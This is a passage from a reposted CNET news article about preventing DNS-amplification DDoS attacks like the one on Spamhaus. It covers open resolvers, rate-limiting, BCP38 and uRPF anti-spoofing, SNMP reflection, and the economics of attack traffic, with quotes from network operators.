said Matthew Prince, co-founder and CEO of CloudFlare, which helped defend against this week's attack. "One, shut down the open resolvers, or two, get all the networks to implement BCP38. The attackers need both in order to generate this volume of attack traffic." Alternatively, networks don't need to lock down open resolvers completely. Google, which operates one of the world's largest networks, has adopted an innovative rate-limiting technique. It describes rate-limiting as a way to "protect any other systems against amplification and traditional distributed DoS (botnet) attacks that could be launched from our resolver servers." But few companies, universities, individuals, and assorted network operators are going to be as security-conscious as Mountain View's teams of very savvy engineers. Worse yet, even if open recursive resolvers are closed to the public, attackers can switch to other services that rely on UDP, the Internet's User Datagram Protocol. Network management protocols and time-synchronization protocols -- all designed for a simpler, more innocent era -- can also be pressed into service as destructive traffic reflectors. The reflection ratios may not be as high as 1:30, but they're still enough to interest someone with malicious intent. Arbor Networks has spotted attacks based on traffic amplification from SNMP, a network management protocol, that exceed 30 gigabits per second. Closing open DNS resolvers won't affect attacks that use SNMP to club unwitting targets. Which is, perhaps, the best argument for BCP38. The most common way to curb spoofing under BCP38 is with a technique called Unicast Reverse Path Forwarding (uRPF) to try to weed out unwanted traffic. But that needs to be extended to nearly every customer of a provider or network operator, a daunting undertaking. Nick Hilliard, chief technology officer for INEX, an Internet exchange based in Dublin, Ireland, said: BCP38 is harder than it looks because in order to implement it properly, you need to roll out uRPF or interface [access control lists] to every single customer edge point on the internet. I.e. every DSL link, every cable modem, every VPS in a provider's cloud hosting centre and so forth. The scale of this undertaking is huge: there is lots of older (and sometimes new) equipment in production out there which either doesn't support uRPF (in which case you can usually write access filters to compensate), or which supports uRPF but badly (i.e. the kit might support it for IPv4 but not IPv6). If you're a network operator and you can't use uRPF because your kit won't support it, installing and maintaining individual access filtering on your customer edge is impossible without good automated tools to do so, and many service providers don't have these. Translation: It all adds up to being really hard. Vixie, who wrote an easy-to-read description of the problem back in 2002, suggested it's a little like fire, building, and safety codes: the government "usually takes a role" forcing everyone to adopt the same standards, and roughly the same costs. Eventually, he suggests, nobody complains that their competitors are getting away without paying compliance costs. That argument crops up frequently enough in technical circles, but it tends to be shot down just as fast. For one thing, wielding a botnet to carry out a DDoS attack is already illegal in the United States and just about everywhere else in the civilized world. And as a practical matter, botnet-managing criminals can change their tactics faster than a phalanx of professional bureaucrats in Washington, D.C. or other national capitals can respond. INEX's Hilliard said the real answer is to change the economics to make it less profitable to carry out DDoS attacks. When sending spam was cheap, Hilliard said, he was receiving 10,000 Viagra offers a month. But after network providers took concerted steps to crack down, "the economics changed and so did the people who were abusing the Internet, and now I get about 2,000 a month, all of which end up in my spam folder," he said. "The same thing will happen to DDoS attacks: in 10 years' time, we will have a lot more in terms of BCP38 coverage, and we won't get upset as much about the small but steady stream of 300-gigabit attacks." Sursa: How the Spamhaus DDoS attack could have been prevented | Security & Privacy - CNET News